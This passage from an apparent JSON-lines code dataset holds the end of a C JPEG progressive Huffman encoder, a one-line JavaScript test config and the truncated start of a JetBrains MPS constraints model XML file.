}\n entropy->restarts_to_go--;\n }\n\n return TRUE;\n}\n\n\n/*\n * MCU encoding for AC initial scan (either spectral selection,\n * or first pass of successive approximation).\n */\n\nMETHODDEF(boolean)\nencode_mcu_AC_first (j_compress_ptr cinfo, JBLOCKROW *MCU_data)\n{\n j_lossy_c_ptr lossyc = (j_lossy_c_ptr) cinfo->codec;\n phuff_entropy_ptr entropy = (phuff_entropy_ptr) lossyc->entropy_private;\n register int temp, temp2;\n register int nbits;\n register int r, k;\n int Se = cinfo->Se;\n int Al = cinfo->Al;\n JBLOCKROW block;\n\n entropy->next_output_byte = cinfo->dest->next_output_byte;\n entropy->free_in_buffer = cinfo->dest->free_in_buffer;\n\n /* Emit restart marker if needed */\n if (cinfo->restart_interval)\n if (entropy->restarts_to_go == 0)\n emit_restart(entropy, entropy->next_restart_num);\n\n /* Encode the MCU data block */\n block = MCU_data[0];\n\n /* Encode the AC coefficients per section G.1.2.2, fig. G.3 */\n \n r = 0;\t\t\t/* r = run length of zeros */\n \n for (k = cinfo->Ss; k <= Se; k++) {\n if ((temp = (*block)[jpeg_natural_order[k]]) == 0) {\n r++;\n continue;\n }\n /* We must apply the point transform by Al. For AC coefficients this\n * is an integer division with rounding towards 0. To do this portably\n * in C, we shift after obtaining the absolute value; so the code is\n * interwoven with finding the abs value (temp) and output bits (temp2).\n */\n if (temp < 0) {\n temp = -temp;\t\t/* temp is abs value of input */\n temp >>= Al;\t\t/* apply the point transform */\n /* For a negative coef, want temp2 = bitwise complement of abs(coef) */\n temp2 = ~temp;\n } else {\n temp >>= Al;\t\t/* apply the point transform */\n temp2 = temp;\n }\n /* Watch out for case that nonzero coef is zero after point transform */\n if (temp == 0) {\n r++;\n continue;\n }\n\n /* Emit any pending EOBRUN */\n if (entropy->EOBRUN > 0)\n emit_eobrun(entropy);\n /* if run length > 15, must emit special run-length-16 codes (0xF0) */\n while (r > 15) {\n emit_symbol(entropy, entropy->ac_tbl_no, 0xF0);\n r -= 16;\n }\n\n /* Find the number of bits needed for the magnitude of the coefficient */\n nbits = 1;\t\t\t/* there must be at least one 1 bit */\n while ((temp >>= 1))\n nbits++;\n /* Check for out-of-range coefficient values */\n if (nbits > MAX_COEF_BITS)\n ERREXIT(cinfo, JERR_BAD_DCT_COEF);\n\n /* Count/emit Huffman symbol for run length / number of bits */\n emit_symbol(entropy, entropy->ac_tbl_no, (r << 4) + nbits);\n\n /* Emit that number of bits of the value, if positive, */\n /* or the complement of its magnitude, if negative. */\n emit_bits(entropy, (unsigned int) temp2, nbits);\n\n r = 0;\t\t\t/* reset zero run length */\n }\n\n if (r > 0) {\t\t\t/* If there are trailing zeroes, */\n entropy->EOBRUN++;\t\t/* count an EOB */\n if (entropy->EOBRUN == 0x7FFF)\n emit_eobrun(entropy);\t/* force it out to avoid overflow */\n }\n\n cinfo->dest->next_output_byte = entropy->next_output_byte;\n cinfo->dest->free_in_buffer = entropy->free_in_buffer;\n\n /* Update restart-interval state too */\n if (cinfo->restart_interval) {\n if (entropy->restarts_to_go == 0) {\n entropy->restarts_to_go = cinfo->restart_interval;\n entropy->next_restart_num++;\n entropy->next_restart_num &= 7;\n }\n entropy->restarts_to_go--;\n }\n\n return TRUE;\n}\n\n\n/*\n * MCU encoding for DC successive approximation refinement scan.\n * Note: we assume such scans can be multi-component, although the spec\n * is not very clear on the point.\n */\n\nMETHODDEF(boolean)\nencode_mcu_DC_refine (j_compress_ptr cinfo, JBLOCKROW *MCU_data)\n{\n j_lossy_c_ptr lossyc = (j_lossy_c_ptr) cinfo->codec;\n phuff_entropy_ptr entropy = (phuff_entropy_ptr) lossyc->entropy_private;\n register int temp;\n int blkn;\n int Al = cinfo->Al;\n JBLOCKROW block;\n\n entropy->next_output_byte = cinfo->dest->next_output_byte;\n entropy->free_in_buffer = cinfo->dest->free_in_buffer;\n\n /* Emit restart marker if needed */\n if (cinfo->restart_interval)\n if (entropy->restarts_to_go == 0)\n emit_restart(entropy, entropy->next_restart_num);\n\n /* Encode the MCU data blocks */\n for (blkn = 0; blkn < cinfo->data_units_in_MCU; blkn++) {\n block = MCU_data[blkn];\n\n /* We simply emit the Al'th bit of the DC coefficient value. */\n temp = (*block)[0];\n emit_bits(entropy, (unsigned int) (temp >> Al), 1);\n }\n\n cinfo->dest->next_output_byte = entropy->next_output_byte;\n cinfo->dest->free_in_buffer = entropy->free_in_buffer;\n\n /* Update restart-interval state too */\n if (cinfo->restart_interval) {\n if (entropy->restarts_to_go == 0) {\n entropy->restarts_to_go = cinfo->restart_interval;\n entropy->next_restart_num++;\n entropy->next_restart_num &= 7;\n }\n entropy->restarts_to_go--;\n }\n\n return TRUE;\n}\n\n\n/*\n * MCU encoding for AC successive approximation refinement scan.\n */\n\nMETHODDEF(boolean)\nencode_mcu_AC_refine (j_compress_ptr cinfo, JBLOCKROW *MCU_data)\n{\n j_lossy_c_ptr lossyc = (j_lossy_c_ptr) cinfo->codec;\n phuff_entropy_ptr entropy = (phuff_entropy_ptr) lossyc->entropy_private;\n register int temp;\n register int r, k;\n int EOB;\n char *BR_buffer;\n unsigned int BR;\n int Se = cinfo->Se;\n int Al = cinfo->Al;\n JBLOCKROW block;\n int absvalues[DCTSIZE2];\n\n entropy->next_output_byte = cinfo->dest->next_output_byte;\n entropy->free_in_buffer = cinfo->dest->free_in_buffer;\n\n /* Emit restart marker if needed */\n if (cinfo->restart_interval)\n if (entropy->restarts_to_go == 0)\n emit_restart(entropy, entropy->next_restart_num);\n\n /* Encode the MCU data block */\n block = MCU_data[0];\n\n /* It is convenient to make a pre-pass to determine the transformed\n * coefficients' absolute values and the EOB position.\n */\n EOB = 0;\n for (k = cinfo->Ss; k <= Se; k++) {\n temp = (*block)[jpeg_natural_order[k]];\n /* We must apply the point transform by Al. For AC coefficients this\n * is an integer division with rounding towards 0. To do this portably\n * in C, we shift after obtaining the absolute value.\n */\n if (temp < 0)\n temp = -temp;\t\t/* temp is abs value of input */\n temp >>= Al;\t\t/* apply the point transform */\n absvalues[k] = temp;\t/* save abs value for main pass */\n if (temp == 1)\n EOB = k;\t\t\t/* EOB = index of last newly-nonzero coef */\n }\n\n /* Encode the AC coefficients per section G.1.2.3, fig. G.7 */\n \n r = 0;\t\t\t/* r = run length of zeros */\n BR = 0;\t\t\t/* BR = count of buffered bits added now */\n BR_buffer = entropy->bit_buffer + entropy->BE; /* Append bits to buffer */\n\n for (k = cinfo->Ss; k <= Se; k++) {\n if ((temp = absvalues[k]) == 0) {\n r++;\n continue;\n }\n\n /* Emit any required ZRLs, but not if they can be folded into EOB */\n while (r > 15 && k <= EOB) {\n /* emit any pending EOBRUN and the BE correction bits */\n emit_eobrun(entropy);\n /* Emit ZRL */\n emit_symbol(entropy, entropy->ac_tbl_no, 0xF0);\n r -= 16;\n /* Emit buffered correction bits that must be associated with ZRL */\n emit_buffered_bits(entropy, BR_buffer, BR);\n BR_buffer = entropy->bit_buffer; /* BE bits are gone now */\n BR = 0;\n }\n\n /* If the coef was previously nonzero, it only needs a correction bit.\n * NOTE: a straight translation of the spec's figure G.7 would suggest\n * that we also need to test r > 15. But if r > 15, we can only get here\n * if k > EOB, which implies that this coefficient is not 1.\n */\n if (temp > 1) {\n /* The correction bit is the next bit of the absolute value. */\n BR_buffer[BR++] = (char) (temp & 1);\n continue;\n }\n\n /* Emit any pending EOBRUN and the BE correction bits */\n emit_eobrun(entropy);\n\n /* Count/emit Huffman symbol for run length / number of bits */\n emit_symbol(entropy, entropy->ac_tbl_no, (r << 4) + 1);\n\n /* Emit output bit for newly-nonzero coef */\n temp = ((*block)[jpeg_natural_order[k]] < 0) ? 0 : 1;\n emit_bits(entropy, (unsigned int) temp, 1);\n\n /* Emit buffered correction bits that must be associated with this code */\n emit_buffered_bits(entropy, BR_buffer, BR);\n BR_buffer = entropy->bit_buffer; /* BE bits are gone now */\n BR = 0;\n r = 0;\t\t\t/* reset zero run length */\n }\n\n if (r > 0 || BR > 0) {\t/* If there are trailing zeroes, */\n entropy->EOBRUN++;\t\t/* count an EOB */\n entropy->BE += BR;\t\t/* concat my correction bits to older ones */\n /* We force out the EOB if we risk either:\n * 1. overflow of the EOB counter;\n * 2. overflow of the correction bit buffer during the next MCU.\n */\n if (entropy->EOBRUN == 0x7FFF || entropy->BE > (MAX_CORR_BITS-DCTSIZE2+1))\n emit_eobrun(entropy);\n }\n\n cinfo->dest->next_output_byte = entropy->next_output_byte;\n cinfo->dest->free_in_buffer = entropy->free_in_buffer;\n\n /* Update restart-interval state too */\n if (cinfo->restart_interval) {\n if (entropy->restarts_to_go == 0) {\n entropy->restarts_to_go = cinfo->restart_interval;\n entropy->next_restart_num++;\n entropy->next_restart_num &= 7;\n }\n entropy->restarts_to_go--;\n }\n\n return TRUE;\n}\n\n\n/*\n * Finish up at the end of a Huffman-compressed progressive scan.\n */\n\nMETHODDEF(void)\nfinish_pass_phuff (j_compress_ptr cinfo)\n{ \n j_lossy_c_ptr lossyc = (j_lossy_c_ptr) cinfo->codec;\n phuff_entropy_ptr entropy = (phuff_entropy_ptr) lossyc->entropy_private;\n\n entropy->next_output_byte = cinfo->dest->next_output_byte;\n entropy->free_in_buffer = cinfo->dest->free_in_buffer;\n\n /* Flush out any buffered data */\n emit_eobrun(entropy);\n flush_bits(entropy);\n\n cinfo->dest->next_output_byte = entropy->next_output_byte;\n cinfo->dest->free_in_buffer = entropy->free_in_buffer;\n}\n\n\n/*\n * Finish up a statistics-gathering pass and create the new Huffman tables.\n */\n\nMETHODDEF(void)\nfinish_pass_gather_phuff (j_compress_ptr cinfo)\n{\n j_lossy_c_ptr lossyc = (j_lossy_c_ptr) cinfo->codec;\n phuff_entropy_ptr entropy = (phuff_entropy_ptr) lossyc->entropy_private;\n boolean is_DC_band;\n int ci, tbl;\n jpeg_component_info * compptr;\n JHUFF_TBL **htblptr;\n boolean did[NUM_HUFF_TBLS];\n\n /* Flush out buffered data (all we care about is counting the EOB symbol) */\n emit_eobrun(entropy);\n\n is_DC_band = (cinfo->Ss == 0);\n\n /* It's important not to apply jpeg_gen_optimal_table more than once\n * per table, because it clobbers the input frequency counts!\n */\n MEMZERO(did, SIZEOF(did));\n\n for (ci = 0; ci < cinfo->comps_in_scan; ci++) {\n compptr = cinfo->cur_comp_info[ci];\n if (is_DC_band) {\n if (cinfo->Ah != 0)\t/* DC refinement needs no table */\n\tcontinue;\n tbl = compptr->dc_tbl_no;\n } else {\n tbl = compptr->ac_tbl_no;\n }\n if (! did[tbl]) {\n if (is_DC_band)\n htblptr = & cinfo->dc_huff_tbl_ptrs[tbl];\n else\n htblptr = & cinfo->ac_huff_tbl_ptrs[tbl];\n if (*htblptr == NULL)\n *htblptr = jpeg_alloc_huff_table((j_common_ptr) cinfo);\n jpeg_gen_optimal_table(cinfo, *htblptr, entropy->count_ptrs[tbl]);\n did[tbl] = TRUE;\n }\n }\n}\n\n\nMETHODDEF(boolean)\nneed_optimization_pass (j_compress_ptr cinfo)\n{\n return (cinfo->Ss != 0 || cinfo->Ah == 0);\n}\n\n\n/*\n * Module initialization routine for progressive Huffman entropy encoding.\n */\n\nGLOBAL(void)\njinit_phuff_encoder (j_compress_ptr cinfo)\n{\n j_lossy_c_ptr lossyc = (j_lossy_c_ptr) cinfo->codec;\n phuff_entropy_ptr entropy;\n int i;\n\n entropy = (phuff_entropy_ptr)\n (*cinfo->mem->alloc_small) ((j_common_ptr) cinfo, JPOOL_IMAGE,\n\t\t\t\tSIZEOF(phuff_entropy_encoder));\n lossyc->entropy_private = (struct jpeg_entropy_encoder *) entropy;\n lossyc->pub.entropy_start_pass = start_pass_phuff;\n lossyc->pub.need_optimization_pass = need_optimization_pass;\n\n /* Mark tables unallocated */\n for (i = 0; i < NUM_HUFF_TBLS; i++) {\n entropy->derived_tbls[i] = NULL;\n entropy->count_ptrs[i] = NULL;\n }\n entropy->bit_buffer = NULL;\t/* needed only in AC refinement scan */\n}\n\n#endif /* C_PROGRESSIVE_SUPPORTED */\n"} {"text": "'use strict';\n\nexports.keys = 'test key';\n"} {"text": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<model ref=\"00000000-0000-4000-5f02-5beb5f025beb/i:f430641(checkpoints/jetbrains.mps.samples.SwingBuilder.constraints@descriptorclasses)\">\n <persistence version=\"9\" />\n <attribute name=\"checkpoint\" value=\"DescriptorClasses\" />\n <attribute name=\"generation-plan\" value=\"AspectCPS\" />\n <attribute name=\"user-objects\" value=\"true\" />\n <languages />\n <imports>\n <import index=\"smom\" ref=\"r:7a1c88cb-66d9-4726-9b4a-d5dc6c544de7(jetbrains.mps.samples.SwingBuilder.constraints)\" />\n <import index=\"c17a\" ref=\"8865b7a8-5271-43d3-884c-6fd1d9cfdd34/java:org.jetbrains.mps.openapi.language(MPS.OpenAPI/)\" />\n <import index=\"ze1i\" ref=\"6ed54515-acc8-4d1e-a16c-9fd6cfe951ea/java:jetbrains.mps.smodel.runtime(MPS.Core/)\" />\n <import index=\"2k9e\" ref=\"6ed54515-acc8-4d1e-a16c-9fd6cfe951ea/java:jetbrains.mps.smodel.adapter.structure(MPS.Core/)\" />\n <import index=\"o8zo\" ref=\"r:314576fc-3aee-4386-a0a5-a38348ac317d(jetbrains.mps.scope)\" />\n <import index=\"33ny\" ref=\"6354ebe7-c22a-4a0f-ac54-50b52ab9b065/java:java.util(JDK/)\" />\n <import index=\"79pl\" ref=\"6ed54515-acc8-4d1e-a16c-9fd6cfe951ea/java:jetbrains.mps.smodel.runtime.base(MPS.Core/)\" />\n <import index=\"35tq\" ref=\"6ed54515-acc8-4d1e-a16c-9fd6cfe951ea/java:jetbrains.mps.scope(MPS.Core/)\" />\n <import index=\"yo60\" ref=\"r:f03fbd24-52ae-4ae3-8913-228f5120a390(jetbrains.mps.samples.SwingBuilder.structure)\" />\n <import index=\"mhfm\" ref=\"3f233e7f-b8a6-46d2-a57f-795d56775243/java:org.jetbrains.annotations(Annotations/)\" />\n <import index=\"mhbf\" ref=\"8865b7a8-5271-43d3-884c-6fd1d9cfdd34/java:org.jetbrains.mps.openapi.model(MPS.OpenAPI/)\" />\n <import index=\"w1kc\" ref=\"6ed54515-acc8-4d1e-a16c-9fd6cfe951ea/java:jetbrains.mps.smodel(MPS.Core/)\" />\n <import index=\"wyt6\" ref=\"6354ebe7-c22a-4a0f-ac54-50b52ab9b065/java:java.lang(JDK/)\" />\n </imports>\n <registry>\n <language id=\"f3061a53-9226-4cc5-a443-f952ceaf5816\" name=\"jetbrains.mps.baseLanguage\">\n <concept id=\"1202948039474\" name=\"jetbrains.mps.baseLanguage.structure.InstanceMethodCallOperation\" flags=\"nn\" index=\"liA8E\" />\n <concept id=\"1465982738277781862\" name=\"jetbrains.mps.baseLanguage.structure.PlaceholderMember\" flags=\"nn\" index=\"2tJIrI\" />\n <concept id=\"1188207840427\" name=\"jetbrains.mps.baseLanguage.structure.AnnotationInstance\" flags=\"nn\" index=\"2AHcQZ\">\n <reference id=\"1188208074048\" name=\"annotation\" index=\"2AI5Lk\" />\n </concept>\n <concept id=\"1188208481402\" name=\"jetbrains.mps.baseLanguage.structure.HasAnnotation\" flags=\"ng\" index=\"2AJDlI\">\n <child id=\"1188208488637\" name=\"annotation\" index=\"2AJF6D\" />\n </concept>\n <concept id=\"1197027756228\" name=\"jetbrains.mps.baseLanguage.structure.DotExpression\" flags=\"nn\" index=\"2OqwBi\">\n <child id=\"1197027771414\" name=\"operand\" index=\"2Oq$k0\" />\n <child id=\"1197027833540\" name=\"operation\" index=\"2OqNvi\" />\n </concept>\n <concept id=\"1145552977093\" name=\"jetbrains.mps.baseLanguage.structure.GenericNewExpression\" flags=\"nn\" index=\"2ShNRf\">\n <child id=\"1145553007750\" name=\"creator\" index=\"2ShVmc\" />\n </concept>\n <concept id=\"1070475354124\" name=\"jetbrains.mps.baseLanguage.structure.ThisExpression\" flags=\"nn\" index=\"Xjq3P\" />\n <concept id=\"1070475587102\" name=\"jetbrains.mps.baseLanguage.structure.SuperConstructorInvocation\" flags=\"nn\" index=\"XkiVB\" />\n <concept id=\"1070475926800\" name=\"jetbrains.mps.baseLanguage.structure.StringLiteral\" flags=\"nn\" index=\"Xl_RD\">\n <property id=\"1070475926801\" name=\"value\" index=\"Xl_RC\" />\n </concept>\n <concept id=\"1182160077978\" name=\"jetbrains.mps.baseLanguage.structure.AnonymousClassCreator\" flags=\"nn\" index=\"YeOm9\">\n <child id=\"1182160096073\" name=\"cls\" index=\"YeSDq\" />\n </concept>\n <concept id=\"1081236700937\" name=\"jetbrains.mps.baseLanguage.structure.StaticMethodCall\" flags=\"nn\" index=\"2YIFZM\">\n <reference id=\"1144433194310\" name=\"classConcept\" index=\"1Pybhc\" />\n </concept>\n <concept id=\"1070534644030\" name=\"jetbrains.mps.baseLanguage.structure.BooleanType\" flags=\"in\" index=\"10P_77\" />\n <concept id=\"1068390468198\" name=\"jetbrains.mps.baseLanguage.structure.ClassConcept\" flags=\"ig\" index=\"312cEu\">\n <child id=\"1165602531693\" name=\"superclass\" index=\"1zkMxy\" />\n </concept>\n <concept id=\"1068431474542\" name=\"jetbrains.mps.baseLanguage.structure.VariableDeclaration\" flags=\"ng\" index=\"33uBYm\">\n <property id=\"1176718929932\" name=\"isFinal\" index=\"3TUv4t\" />\n <child id=\"1068431790190\" name=\"initializer\" index=\"33vP2m\" />\n </concept>\n <concept id=\"1068498886296\" name=\"jetbrains.mps.baseLanguage.structure.VariableReference\" flags=\"nn\" index=\"37vLTw\">\n <reference id=\"1068581517664\" name=\"variableDeclaration\" index=\"3cqZAo\" />\n </concept>\n <concept id=\"1068498886292\" name=\"jetbrains.mps.baseLanguage.structure.ParameterDeclaration\" flags=\"ir\" index=\"37vLTG\" />\n <concept id=\"4972933694980447171\" name=\"jetbrains.mps.baseLanguage.structure.BaseVariableDeclaration\" flags=\"ng\" index=\"19Szcq\">\n <child id=\"5680397130376446158\" name=\"type\" index=\"1tU5fm\" />\n </concept>\n <concept id=\"4269842503726207156\" name=\"jetbrains.mps.baseLanguage.structure.LongLiteral\" flags=\"nn\" index=\"1adDum\">\n <property id=\"4269842503726207157\" name=\"value\" index=\"1adDun\" />\n </concept>\n <concept id=\"1068580123132\" name=\"jetbrains.mps.baseLanguage.structure.BaseMethodDeclaration\" flags=\"ng\" index=\"3clF44\">\n <property id=\"1181808852946\" name=\"isFinal\" index=\"DiZV1\" />\n <child id=\"1068580123133\" name=\"returnType\" index=\"3clF45\" />\n <child id=\"1068580123134\" name=\"parameter\" index=\"3clF46\" />\n <child id=\"1068580123135\" name=\"body\" index=\"3clF47\" />\n </concept>\n <concept id=\"1068580123165\" name=\"jetbrains.mps.baseLanguage.structure.InstanceMethodDeclaration\" flags=\"ig\" index=\"3clFb_\">\n <property id=\"1178608670077\" name=\"isAbstract\" index=\"1EzhhJ\" />\n </concept>\n <concept id=\"1068580123155\" name=\"jetbrains.mps.baseLanguage.structure.ExpressionStatement\" flags=\"nn\" index=\"3clFbF\">\n <child id=\"1068580123156\" name=\"expression\" index=\"3clFbG\" />\n </concept>\n <concept id=\"1068580123136\" name=\"jetbrains.mps.baseLanguage.structure.StatementList\" flags=\"sn\" stub=\"5293379017992965193\" index=\"3clFbS\">\n <child id=\"1068581517665\" name=\"statement\" index=\"3cqZAp\" />\n </concept>\n <concept id=\"1068580123137\" name=\"jetbrains.mps.baseLanguage.structure.BooleanConstant\" flags=\"nn\" index=\"3clFbT\">\n <property id=\"1068580123138\" name=\"value\" index=\"3clFbU\" />\n </concept>\n <concept id=\"1068580123140\" name=\"jetbrains.mps.baseLanguage.structure.ConstructorDeclaration\" flags=\"ig\" index=\"3clFbW\" />\n <concept id=\"1068581242878\" name=\"jetbrains.mps.baseLanguage.structure.ReturnStatement\" flags=\"nn\" index=\"3cpWs6\">\n <child id=\"1068581517676\" name=\"expression\" index=\"3cqZAk\" />\n </concept>\n <concept id=\"1068581242864\" name=\"jetbrains.mps.baseLanguage.structure.LocalVariableDeclarationStatement\" flags=\"nn\" index=\"3cpWs8\">\n <child id=\"1068581242865\" name=\"localVariableDeclaration\" index=\"3cpWs9\" />\n </concept>\n <concept id=\"1068581242863\" name=\"jetbrains.mps.baseLanguage.structure.LocalVariableDeclaration\" flags=\"nr\" index=\"3cpWsn\" />\n <concept id=\"1068581517677\" name=\"jetbrains.mps.baseLanguage.structure.VoidType\" flags=\"in\" index=\"3cqZAl\" />\n <concept id=\"1204053956946\" name=\"jetbrains.mps.baseLanguage.structure.IMethodCall\" flags=\"ng\" index=\"1ndlxa\">\n <reference id=\"1068499141037\" name=\"baseMethodDeclaration\" index=\"37wK5l\" />\n <child id=\"1068499141038\" name=\"actualArgument\" index=\"37wK5m\" />\n </concept>\n <concept id=\"1212685548494\" name=\"jetbrains.mps.baseLanguage.structure.ClassCreator\" flags=\"nn\" index=\"1pGfFk\">\n <child id=\"1212687122400\" name=\"typeParameter\" index=\"1pMfVU\" />\n </concept>\n <concept id=\"1107461130800\" name=\"jetbrains.mps.baseLanguage.structure.Classifier\" flags=\"ng\" index=\"3pOWGL\">\n <property id=\"521412098689998745\" name=\"nonStatic\" index=\"2bfB8j\" />\n <child id=\"5375687026011219971\" name=\"member\" index=\"jymVt\" unordered=\"true\" />\n </concept>\n <concept id=\"1107535904670\" name=\"jetbrains.mps.baseLanguage.structure.ClassifierType\" flags=\"in\" index=\"3uibUv\">\n <reference id=\"1107535924139\" name=\"classifier\" index=\"3uigEE\" />\n <child id=\"1109201940907\" name=\"parameter\" index=\"11_B2D\" />\n </concept>\n <concept id=\"1178549954367\" name=\"jetbrains.mps.baseLanguage.structure.IVisible\" flags=\"ng\" index=\"1B3ioH\">\n <child id=\"1178549979242\" name=\"visibility\" index=\"1B3o_S\" />\n </concept>\n <concept id=\"1146644602865\" name=\"jetbrains.mps.baseLanguage.structure.PublicVisibility\" flags=\"nn\" index=\"3Tm1VV\" />\n <concept id=\"1146644641414\" name=\"jetbrains.mps.baseLanguage.structure.ProtectedVisibility\" flags=\"nn\" index=\"3Tmbuc\" />\n <concept id=\"1170345865475\" name=\"jetbrains.mps.baseLanguage.structure.AnonymousClass\" flags=\"ig\" index=\"1Y3b0j\">\n <reference id=\"1170346070688\" name=\"classifier\" index=\"1Y3XeK\" />\n </concept>\n </language>\n <language id=\"b401a680-8325-4110-8fd3-84331ff25bef\" name=\"jetbrains.mps.lang.generator\">\n <concept id=\"3864140621129707969\" name=\"jetbrains.mps.lang.generator.structure.GeneratorDebug_Mappings\" flags=\"nn\" index=\"39dXUE\">\n <child id=\"3864140621129713349\" name=\"labels\" index=\"39e2AI\" />\n </concept>\n <concept id=\"3864140621129713351\" name=\"jetbrains.mps.lang.generator.structure.GeneratorDebug_NodeMapEntry\" flags=\"nn\" index=\"39e2AG\">\n <property id=\"5843998055530255671\" name=\"isNewRoot\" index=\"2mV_xN\" />\n <child id=\"3864140621129713365\" name=\"outputNode\" index=\"39e2AY\" />\n </concept>\n <concept id=\"3864140621129713348\" name=\"jetbrains.mps.lang.generator.structure.GeneratorDebug_LabelEntry\" flags=\"nn\" index=\"39e2AJ\">\n <property id=\"3864140621129715945\" name=\"label\" index=\"39e3Y2\" />\n <child id=\"3864140621129715947\" name=\"entries\" index=\"39e3Y0\" />\n </concept>\n <concept id=\"3864140621129713362\" name=\"jetbrains.mps.lang.generator.structure.GeneratorDebug_NodeRef\" flags=\"nn\" index=\"39e2AT\">\n <reference id=\"3864140621129713363\" name=\"node\" index=\"39e2AS\" />\n </concept>\n </language>\n <language id=\"df345b11-b8c7-4213-ac66-48d2a9b75d88\" name=\"jetbrains.mps.baseLanguageInternal\">\n <concept id=\"1238251434034\" name=\"jetbrains.mps.baseLanguageInternal.structure.ExtractToConstantExpression\" flags=\"ng\" index=\"1dyn4i\">\n <property id=\"1238251449050\" name=\"fieldName\" index=\"1dyqJU\" />\n <property id=\"8835849473318867199\" name=\"makeUnique\" index=\"1zomUR\" />\n <child id=\"1238251454130\" name=\"expression\" index=\"1dyrYi\" />\n </concept>\n <concept id=\"1173996401517\" name=\"jetbrains.mps.baseLanguageInternal.structure.InternalNewExpression\" flags=\"nn\" index=\"1nCR9W\">\n <property id=\"1173996588177\" name=\"fqClassName\" index=\"1nD$Q0\" />\n <child id=\"1179332974947\" name=\"type\" index=\"2lIhxL\" />\n </concept>\n <concept id=\"4927083583736784422\" name=\"jetbrains.mps.baseLanguageInternal.structure.ExtractToSingleConstantExpression\" flags=\"ng\" index=\"1BaE9c\">\n <property id=\"3566113306135792467\" name=\"baseContainerName\" index=\"1ouuDV\" />\n <property id=\"4927083583736815155\" name=\"uniqueFieldName\" index=\"1BaxDp\" />\n <child id=\"4927083583736819744\" name=\"expression\" index=\"1Bazha\" />\n </concept>\n <concept id=\"1174294166120\" name=\"jetbrains.mps.baseLanguageInternal.structure.InternalPartialInstanceMethodCall\" flags=\"nn\" index=\"1DoJHT\">\n <property id=\"1174294288199\" name=\"methodName\" index=\"1Dpdpm\" />\n <child id=\"1174313653259\" name=\"returnType\" index=\"1Ez5kq\" />\n <child id=\"1174317636233\" name=\"instance\" index=\"1EMhIo\" />\n </concept>\n </language>\n <language id=\"7866978e-a0f0-4cc7-81bc-4d213d9375e1\" name=\"jetbrains.mps.lang.smodel\">\n <concept id=\"1143234257716\" name=\"jetbrains.mps.lang.smodel.structure.Node_GetModelOperation\" flags=\"nn\" index=\"I4A8Y\" />\n <concept id=\"1171315804604\" name=\"jetbrains.mps.lang.smodel.structure.Model_RootsOperation\" flags=\"nn\" index=\"2RRcyG\">\n <reference id=\"1171315804605\" name=\"concept\" index=\"2RRcyH\" />\n </concept>\n <concept id=\"6677504323281689838\" name=\"jetbrains.mps.lang.smodel.structure.SConceptType\" flags=\"in\" index=\"3bZ5Sz\" />\n <concept id=\"1154546950173\" name=\"jetbrains.mps.lang.smodel.structure.ConceptReference\" flags=\"ng\" index=\"3gn64h\">\n <reference id=\"1154546997487\" name=\"concept\" index=\"3gnhBz\" />\n </concept>\n <concept id=\"6039268229364358244\" name=\"jetbrains.mps.lang.smodel.structure.ExactConceptCase\" flags=\"ng\" index=\"1pnPoh\">\n <child id=\"6039268229364358388\" name=\"body\" index=\"1pnPq1\" />\n <child id=\"6039268229364358387\" name=\"concept\" index=\"1pnPq6\" />\n </concept>\n <concept id=\"5944356402132808749\" name=\"jetbrains.mps.lang.smodel.structure.ConceptSwitchStatement\" flags=\"nn\" index=\"1_3QMa\">\n <child id=\"6039268229365417680\" name=\"defaultBlock\" index=\"1prKM_\" />\n <child id=\"5944356402132808753\" name=\"case\" index=\"1_3QMm\" />\n <child id=\"5944356402132808752\" name=\"expression\" index=\"1_3QMn\" />\n </concept>\n </language>\n <language id=\"ceab5195-25ea-4f22-9b92-103b95ca8c0c\" name=\"jetbrains.mps.lang.core\">\n <concept id=\"1133920641626\" name=\"jetbrains.mps.lang.core.structure.BaseConcept\" flags=\"ng\" index=\"2VYdi\">\n <property id=\"1193676396447\" name=\"virtualPackage\" index=\"3GE5qa\" />\n </concept>\n <concept id=\"1169194658468\" name=\"jetbrains.mps.lang.core.structure.INamedConcept\" flags=\"ng\" index=\"TrEIO\">\n <property id=\"1169194664001\" name=\"name\" index=\"TrG5h\" />\n </concept>\n </language>\n <language id=\"83888646-71ce-4f1c-9c53-c54016f6ad4f\" name=\"jetbrains.mps.baseLanguage.collections\">\n <concept id=\"1176903168877\" name=\"jetbrains.mps.baseLanguage.collections.structure.UnionOperation\" flags=\"nn\" index=\"4Tj9Z\" />\n <concept id=\"1176906603202\" name=\"jetbrains.mps.baseLanguage.collections.structure.BinaryOperation\" flags=\"nn\" index=\"56pJg\">\n <child id=\"1176906787974\" name=\"rightExpression\" index=\"576Qk\" />\n </concept>\n </language>\n </registry>\n <node concept=\"312cEu\" id=\"0\">\n <property role=\"TrG5h\" value=\"ConstraintsAspectDescriptor\" />\n <property role=\"3GE5qa\" value=\"Constraints\" />\n <node concept=\"3uibUv\" id=\"1\" role=\"1zkMxy\">\n <ref role=\"3uigEE\" to=\"ze1i:~BaseConstraintsAspectDescriptor\" resolve=\"BaseConstraintsAspectDescriptor\" />\n </node>\n <node concept=\"3Tm1VV\" id=\"2\" role=\"1B3o_S\" />\n <node concept=\"3clFbW\" id=\"3\" role=\"jymVt\">\n <node concept=\"3cqZAl\" id=\"6\" role=\"3clF45\" />\n <node concept=\"3Tm1VV\" id=\"7\" role=\"1B3o_S\" />\n <node concept=\"3clFbS\" id=\"8\" role=\"3clF47\" />\n </node>\n <node concept=\"2tJIrI\" id=\"4\" role=\"jymVt\" />\n <node concept=\"3clFb_\" id=\"5\" role=\"jymVt\">\n <property role=\"1EzhhJ\" value=\"false\" />\n <property role=\"TrG5h\" value=\"getConstraints\" />\n <property role=\"DiZV1\" value=\"false\" />\n <node concept=\"2AHcQZ\" id=\"9\" role=\"2AJF6D\">\n <ref role=\"2AI5Lk\" to=\"wyt6:~Override\" resolve=\"Override\" />\n </node>\n <node concept=\"3Tm1VV\" id=\"a\" role=\"1B3o_S\" />\n <node concept=\"3uibUv\" id=\"b\" role=\"3clF45\">\n <ref role=\"3uigEE\" to=\"ze1i:~ConstraintsDescriptor\" resolve=\"ConstraintsDescriptor\" />\n </node>\n <node concept=\"37vLTG\" id=\"c\" role=\"3clF46\">\n <property role=\"TrG5h\" value=\"concept\" />\n <node concept=\"3bZ5Sz\" id=\"e\" role=\"1tU5fm\" />\n </node>\n <node concept=\"3clFbS\" id=\"d\" role=\"3clF47\">\n <node concept=\"1_3QMa\" id=\"f\" role=\"3cqZAp\">\n <node concept=\"37vLTw\" id=\"h\" role=\"1_3QMn\">\n <ref role=\"3cqZAo\" node=\"c\" resolve=\"concept\" />\n </node>\n <node concept=\"1pnPoh\" id=\"i\" 